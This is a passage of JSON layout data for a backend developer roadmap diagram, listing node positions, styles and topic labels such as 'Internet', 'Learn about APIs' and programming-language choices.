8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"ezdqQW9wTUw93F6kjOzku\",\"sourceHandle\":\"y2\",\"target\":\"_I1E__wCIVrhjMk6IMieE\",\"targetHandle\":\"z1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"reactflow__edge-ezdqQW9wTUw93F6kjOzkuy2-_I1E__wCIVrhjMk6IMieEz1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"NvUcSDWBhzJZ31nzT4UlE\",\"sourceHandle\":\"y2\",\"target\":\"ptD8EVqwFUYr4W5A_tABY\",\"targetHandle\":\"z1\",\"data\":{\"edgeStyle\":\"dashed\"},\"selected\":true,\"focusable\":true,\"selectable\":true,\"id\":\"reactflow__edge-NvUcSDWBhzJZ31nzT4UlEy2-ptD8EVqwFUYr4W5A_tABYz1\"},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"NvUcSDWBhzJZ31nzT4UlE\",\"sourceHandle\":\"x2\",\"target\":\"r45b461NxLN6wBODJ5CNP\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-NvUcSDWBhzJZ31nzT4UlEx2-r45b461NxLN6wBODJ5CNPw1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"r45b461NxLN6wBODJ5CNP\",\"sourceHandle\":\"z2\",\"target\":\"FihTrMO56kj9jT8O_pO2T\",\"targetHandle\":\"y1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"reactflow__edge-r45b461NxLN6wBODJ5CNPz2-FihTrMO56kj9jT8O_pO2Ty1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"r45b461NxLN6wBODJ5CNP\",\"sourceHandle\":\"x2\",\"target\":\"EwvLPSI6AlZ4TnNIJTZA4\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-r45b461NxLN6wBODJ5CNPx2-EwvLPSI6AlZ4TnNIJTZA4w1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"EwvLPSI6AlZ4TnNIJTZA4\",\"sourceHandle\":\"z2\",\"target\":\"lfNFDZZNdrB0lbEaMtU71\",\"targetHandle\":\"y1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"reactflow__edge-EwvLPSI6AlZ4TnNIJTZA4z2-lfNFDZZNdrB0lbEaMtU71y1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"EwvLPSI6AlZ4TnNIJTZA4\",\"sourceHandle\":\"z2\",\"target\":\"sNceS4MpSIjRkWhNDmrFg\",\"targetHandle\":\"y1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"reactflow__edge-EwvLPSI6AlZ4TnNIJTZA4z2-sNceS4MpSIjRkWhNDmrFgy1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"EwvLPSI6AlZ4TnNIJTZA4\",\"sourceHandle\":\"z2\",\"target\":\"PY9G7KQy8bF6eIdr1ydHf\",\"targetHandle\":\"y1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"reactflow__edge-EwvLPSI6AlZ4TnNIJTZA4z2-PY9G7KQy8bF6eIdr1ydHfy1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"EwvLPSI6AlZ4TnNIJTZA4\",\"sourceHandle\":\"x2\",\"target\":\"ELj8af7Mi38kUbaPJfCUR\",\"targetHandle\":\"w2\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-EwvLPSI6AlZ4TnNIJTZA4x2-ELj8af7Mi38kUbaPJfCURw2\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"ELj8af7Mi38kUbaPJfCUR\",\"sourceHandle\":\"y2\",\"target\":\"g8GjkJAhvnSxXTZks0V1g\",\"targetHandle\":\"z2\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"reactflow__edge-ELj8af7Mi38kUbaPJfCURy2-g8GjkJAhvnSxXTZks0V1gz2\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"LJt27onEOeIBomiEMTyKd\",\"sourceHandle\":\"y2\",\"target\":\"Z7jp_Juj5PffSxV7UZcBb\",\"targetHandle\":\"z1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"reactflow__edge-LJt27onEOeIBomiEMTyKdy2-Z7jp_Juj5PffSxV7UZcBbz1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"LJt27onEOeIBomiEMTyKd\",\"sourceHandle\":\"y2\",\"target\":\"qSAdfaGUfn8mtmDjHJi3z\",\"targetHandle\":\"z1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"reactflow__edge-LJt27onEOeIBomiEMTyKdy2-qSAdfaGUfn8mtmDjHJi3zz1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"LJt27onEOeIBomiEMTyKd\",\"sourceHandle\":\"y2\",\"target\":\"rq_y_OBMD9AH_4aoecvAi\",\"targetHandle\":\"z1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"reactflow__edge-LJt27onEOeIBomiEMTyKdy2-rq_y_OBMD9AH_4aoecvAiz1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"LJt27onEOeIBomiEMTyKd\",\"sourceHandle\":\"y2\",\"target\":\"bQnOAu863hsHdyNMNyJop\",\"targetHandle\":\"z1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"reactflow__edge-LJt27onEOeIBomiEMTyKdy2-bQnOAu863hsHdyNMNyJopz1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"ELj8af7Mi38kUbaPJfCUR\",\"sourceHandle\":\"x2\",\"target\":\"LJt27onEOeIBomiEMTyKd\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-ELj8af7Mi38kUbaPJfCURx2-LJt27onEOeIBomiEMTyKdw1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"LJt27onEOeIBomiEMTyKd\",\"sourceHandle\":\"x2\",\"target\":\"STQQbPa7PE3gbjMdL6P-t\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-LJt27onEOeIBomiEMTyKdx2-STQQbPa7PE3gbjMdL6P-tw1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"STQQbPa7PE3gbjMdL6P-t\",\"sourceHandle\":\"x2\",\"target\":\"sVXZrBCsiSzWBBYWTm-nQ\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-STQQbPa7PE3gbjMdL6P-tx2-sVXZrBCsiSzWBBYWTm-nQw1\",\"selected\":true,\"selectable\":true,\"focusable\":true}]}\n"
  },
  {
    "path": "src/data/roadmaps/backend/backend.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"PbEblTb9tHmhrlJkUx0be\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -187.98562047817694,\n        \"y\": 2208.0438809318207\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"ZzSXqvUjwOJpx-xNFVqif\"\n      },\n      \"zIndex\": -999,\n      \"width\": 190,\n      \"height\": 172,\n      \"style\": {\n        \"width\": 190,\n        \"height\": 172\n      },\n      \"positionAbsolute\": {\n        \"x\": -187.98562047817694,\n        \"y\": 2208.0438809318207\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 172\n      }\n    },\n    {\n      \"id\": \"ZzSXqvUjwOJpx-xNFVqif\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 113.18643733008196,\n        \"y\": 2207.176514296587\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 190,\n      \"height\": 172,\n      \"style\": {\n        \"width\": 190,\n        \"height\": 172\n      },\n      \"positionAbsolute\": {\n        \"x\": 113.18643733008196,\n        \"y\": 2207.176514296587\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 172\n      }\n    },\n    {\n      \"id\": \"UFd8PEg6IwJMXvuv8Ow1f\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 51.5678836929921,\n        \"y\": 647.9126418589183\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 289,\n      \"height\": 338,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 338\n      },\n      \"positionAbsolute\": {\n        \"x\": 51.5678836929921,\n        \"y\": 647.9126418589183\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 338\n      }\n    },\n    {\n      \"id\": \"Ju00mr0KLGN2BV6yEQGPt\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -169.47806963137555,\n        \"y\": 3510.572464537289\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#4136D4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"positionAbsolute\": {\n        \"x\": -169.47806963137555,\n        \"y\": 3510.572464537289\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 104\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 104\n      }\n    },\n    {\n      \"width\": 414,\n      \"height\": 124,\n      \"id\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -365.97806963137555,\n        \"y\": 3423.216439761934\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Have a look at the following relevant tracks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"0vLaVNJaJSHZ_bHli6Qzs\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -365.97806963137555,\n        \"y\": 3423.216439761934\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 414,\n        \"height\": 124\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 414,\n        \"height\": 124\n      }\n    },\n    {\n      \"id\": \"e6xZSxnBm7_Y4jUSKLohG\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -266.321810236714,\n        \"y\": 2700.3118258070244\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5\n        },\n        \"oldId\": \"QLgfmplUdqBFt3CwWm0aS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 95,\n      \"positionAbsolute\": {\n        \"x\": -266.321810236714,\n        \"y\": 2700.3118258070244\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 95\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 95\n      }\n    },\n    {\n      \"id\": \"QLgfmplUdqBFt3CwWm0aS\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -394.05139617057876,\n        \"y\": 2580.952124569852\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 210,\n      \"positionAbsolute\": {\n        \"x\": -394.05139617057876,\n        \"y\": 2580.952124569852\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 210\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 210\n      }\n    },\n    {\n      \"id\": \"Uanw68R-mnUaSkg8QIUrD\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -499.959639996006,\n        \"y\": 2680.3118258070244\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 109,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": -499.959639996006,\n        \"y\": 2680.3118258070244\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 109,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 109,\n        \"height\": 20\n      }\n    },\n    {\n      \"width\": 190,\n      \"height\": 49,\n      \"id\": \"gKTSe9yQFVbPVlLzWB0hC\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -187.98562047817694,\n        \"y\": 2201.9516809090464\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Search Engines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nJ5FpFgGCRaALcWmAKBKT\"\n      },\n      \"style\": {\n        \"width\": 190,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -187.98562047817694,\n        \"y\": 2201.9516809090464\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EDxjW2iLKsMZWSu-HSRVV\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -246.32181023671401,\n        \"y\": 2013.7179127650247\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"mv5HPurPKr8UO-2DirsQh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 93,\n      \"positionAbsolute\": {\n        \"x\": -246.32181023671401,\n        \"y\": 2013.7179127650247\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 93\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 93\n      }\n    },\n    {\n      \"width\": 321,\n      \"height\": 49,\n      \"id\": \"9Fpoor-Os_9lvrwu5Zjh-\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -289.58230823147517,\n        \"y\": 1786.076741490472\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Design and Development Principles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"pcrqm3BuBvkpiv5KOgmHH\"\n      },\n      \"style\": {\n        \"width\": 321,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -289.58230823147517,\n        \"y\": 1786.076741490472\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 321,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mv5HPurPKr8UO-2DirsQh\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -229.37943926509024,\n        \"y\": 660.9941785421215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 93,\n      \"positionAbsolute\": {\n        \"x\": -229.37943926509024,\n        \"y\": 660.9941785421215\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 93\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 93\n      }\n    },\n    {\n      \"width\": 232,\n      \"height\": 49,\n      \"id\": \"EwvLPSI6AlZ4TnNIJTZA4\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -258.87943926509024,\n        \"y\": 740.4861514388111\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Learn about APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iGeAiNtqNadlJVDmd-p-g\"\n      },\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -258.87943926509024,\n        \"y\": 740.4861514388111\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 301,\n      \"height\": 238,\n      \"id\": \"4_q73_Fz02yj45i7NcRlA\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -681.195645380282,\n        \"y\": 1259.6699426703588\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"style\": {\n        \"width\": 301,\n        \"height\": 238\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -681.195645380282,\n        \"y\": 1259.6699426703588\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 301,\n        \"height\": 238\n      }\n    },\n    {\n      \"width\": 153,\n      \"height\": 68,\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -270.08230823147517,\n        \"y\": -119.42445334555111\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backend\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -270.08230823147517,\n        \"y\": -119.42445334555111\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 153,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 128,\n      \"height\": 49,\n      \"id\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -257.97839322321585,\n        \"y\": 37.70730350215206\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Internet\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NVSQ4OtmvRp7p4cOEvKh7\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 128,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -257.97839322321585,\n        \"y\": 37.70730350215206\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"CWwh2abwqx4hAxpAGvhIx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -590.8814218617622,\n        \"y\": 164.70730350215206\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rust\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7qaMNu3lSvTNh7uKo5SVa\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -590.8814218617622,\n        \"y\": 164.70730350215206\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 120,\n      \"height\": 49,\n      \"id\": \"l9Wrq_Ad9-Ju4NIB0m5Ha\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -713.7648770815467,\n        \"y\": 164.70730350215206\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PHP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uVNbFu2GDndpQFLkfGTKp\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -713.7648770815467,\n        \"y\": 164.70730350215206\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"BdXbcz4-ar3XOX0wIKzBp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -590.8814218617622,\n        \"y\": 5.707303502152058\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Go\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Of5xsnf0QtksCDnCCHKIv\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -590.8814218617622,\n        \"y\": 5.707303502152058\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 120,\n      \"height\": 49,\n      \"id\": \"8-lO-v6jCYYoklEJXULxN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -713.8814218617622,\n        \"y\": 5.707303502152058\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JavaScript\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CyQ_GODtWgrz6Uikts5bJ\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -713.8814218617622,\n        \"y\": 5.707303502152058\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 120,\n      \"height\": 49,\n      \"id\": \"ANeSwxJDJyQ-49pO2-CCI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -713.7648770815467,\n        \"y\": 111.70730350215206\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Java\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5HsVY274YCvC6DqqHlSDD\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -713.7648770815467,\n        \"y\": 111.70730350215206\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 120,\n      \"height\": 49,\n      \"id\": \"J_sVHsD72Yzyqb9KCIvAY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -713.8814218617622,\n        \"y\": 58.70730350215206\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Python\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FIPHmInvgJg9e8KqDAh2g\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -713.8814218617622,\n        \"y\": 58.70730350215206\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"rImbMHLLfJwjf3l25vBkc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -590.8814218617622,\n        \"y\": 111.70730350215206\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"C#\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        